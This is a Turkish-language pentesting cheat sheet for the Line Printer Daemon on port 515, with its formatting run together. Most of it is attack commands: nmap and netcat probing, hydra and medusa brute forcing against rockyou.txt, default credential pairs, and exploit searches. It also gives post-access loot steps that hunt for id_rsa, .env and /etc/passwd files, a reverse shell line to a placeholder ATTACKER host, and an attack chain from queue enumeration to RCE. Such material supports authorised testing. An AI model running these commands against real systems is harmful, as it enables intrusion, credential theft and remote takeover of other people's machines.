515 - Pentesting Line Printer Daemon (LPD)
LPD print
Line Printer Daemon iş kuyruğu sunar. Bazı implementasyonlar path traversal veya komut enjeksiyonu ile dosya/yazma verir.
Metodoloji
Section titled “Metodoloji”-
515 doğrula.
-
Kuyruk adlarını enum et.
-
Job gönder / traversal dene.
-
Yazılabilir path → shell.
nmap -Pn -sV -p515 TARGETnc -nv TARGET 515enum4linux # related print sharesprintf '\x02queue\n' | nc TARGET 515python3 lpd_exploit.py TARGETcontrol file macros → command exec on old *nixDerin enum
Section titled “Derin enum”Line Printer Daemon (LPD) için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p515 TARGETnmap -Pn -p515 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:515' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',515));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → Line Printer Daemon (LPD)Kimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 515 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 515nmap -p515 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit LPDmsfconsole -q -x 'search LPD; exit'nuclei -u https://TARGET:515 -t cves/ -silent -severity || truenuclei -u http://TARGET:515 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 515printf '' | timeout 3 nc -nv TARGET 515curl -vk --http1.0 http://TARGET:515/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”queue enum → malicious control file → RCE